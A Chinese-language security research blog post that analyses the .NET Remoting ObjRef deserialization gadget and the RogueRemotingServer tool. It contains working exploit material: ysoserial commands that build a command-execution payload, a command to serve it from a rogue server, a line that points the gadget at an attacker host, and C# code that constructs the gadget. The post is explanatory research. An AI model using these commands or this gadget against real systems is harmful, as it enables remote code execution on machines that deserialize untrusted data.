Skip to content
Go back

dotnet ObjRef Gadget 分析

Edit page

https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html

https://github.com/codewhitesec/RogueRemotingServer

ObjRef 简单来说就是引用传递 (by reference) 在 .NET Remoting 中的实现方式

与按值传递 (by value) 的对象需要实现 Serializable 特性 (或 ISerializable 接口) 相对应, 按引用传递的对象需要继承 MarshalByRefObject 抽象类

这些类在序列化时都会被 RemotingSurrogateSelector 返回的 RemotingSurrogate 替换为 ObjRef, 而在反序列化时 ObjRef 会创建对应对象的远程代理 (RemotingProxy)

后续针对代理对象的方法调用都会被封装成 MethodCall 并发送至远程服务器, 服务器调用实际被引用对象的方法, 然后将返回值封装为 MethodResponse 并发送回客户端

img

ObjRef 类似于 JRMPClient (sun.rmi.server.UnicastRef)

RogueRemotingServer 类似于 JRMPListener

# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe > MSPaint.soap

# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap

# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t

BinaryFormatter/SoapFormatter 在反序列化 ObjRef 时会调用 GetRealObject

img

DoFixups

img

ResolveObjectReference

img

ObjRef 实现了 IObjectReference 和 ISerializable 接口

namespace System.Runtime.Serialization {

    using System;
    using System.Security.Permissions;
    // Interface does not need to be marked with the serializable attribute
[System.Runtime.InteropServices.ComVisible(true)]
    public interface IObjectReference {
        [System.Security.SecurityCritical]  // auto-generated_required
        Object GetRealObject(StreamingContext context);
    }
}

GetRealObject 内部会调用 RemotingServices.Unmarshal 创建远程对象代理 (RemotingProxy)

https://referencesource.microsoft.com/#mscorlib/system/runtime/remoting/objref.cs,a8996f5d386e38e5,references

然后反序列化外层的 Exception 类, 使得在恢复其 ClassName 属性时调用 ObjRef 的 ToString 方法, 触发远程代理调用

img

远程代理将调用信息序列化后发送至服务端, 然后服务端返回恶意序列化数据, 最后在客户端触发反序列化

img

构造 payload 时需要调用 ObjRef 的 SetObjRefLite/SetWellKnown 方法, 原因如下

https://referencesource.microsoft.com/#mscorlib/system/runtime/remoting/remotingservices.cs,f4b5728ed1a2eb3e,references

RemotingServices.Unmarshal

img

如果 IsWellFormed 方法返回 false, 则会抛出异常, 导致无法创建远程代理

IsWellFormed 的返回值由 IsObjRefLite 或 IsWellKnown 决定

https://referencesource.microsoft.com/#mscorlib/system/runtime/remoting/objref.cs,daa752a1047f9d1e,references

img

payload

using System;
using System.Reflection;
using System.Runtime.Remoting;
using System.Runtime.Serialization;

namespace ConsoleApp.Gadget
{
    internal class ObjRefGenerator
    {
        public static object Create(string uri)
        {
            ObjRef objRef = new ObjRef()
            {
                URI = uri
            };

            typeof(ObjRef).InvokeMember("SetObjRefLite", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.InvokeMethod, null, objRef, null);

            return new ObjRefWrappingException(objRef);
        }
    }

    [Serializable]
    internal class ObjRefWrappingException : ISerializable
    {
        private readonly ISerializable objRef;

        public ObjRefWrappingException(ISerializable objRef)
        {
            this.objRef = objRef;
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(Exception));
            info.AddValue("ClassName", objRef, typeof(object));
        }
    }
}

再看 RogueRemotingServer, 其核心思路就是实现一个自定义的 RogueServerChannelSinkProvider

img

根据协议类型分别创建对应的 ServerChannel, 传入自定义的 sinkProvider

然后调用 ChannelServices.RegisterChannel 注册 Channel, 跟正常的 .NET Remoting 流程类似

img

RogueServerChannelSinkProvider 的 CreateSink 方法返回一个自定义的 RogueServerChannelSink

img

RogueServerChannelSink 使用 ProcessMessage 方法处理数据

方法内部根据协议类型通过 responseStream 返回对应的 BinaryFormatter/SoapFormatter payload


Edit page
Share this post on:

Previous Post
Hessian UTF-8 Overlong Encoding
Next Post
dotnet New Deserialization Gadgets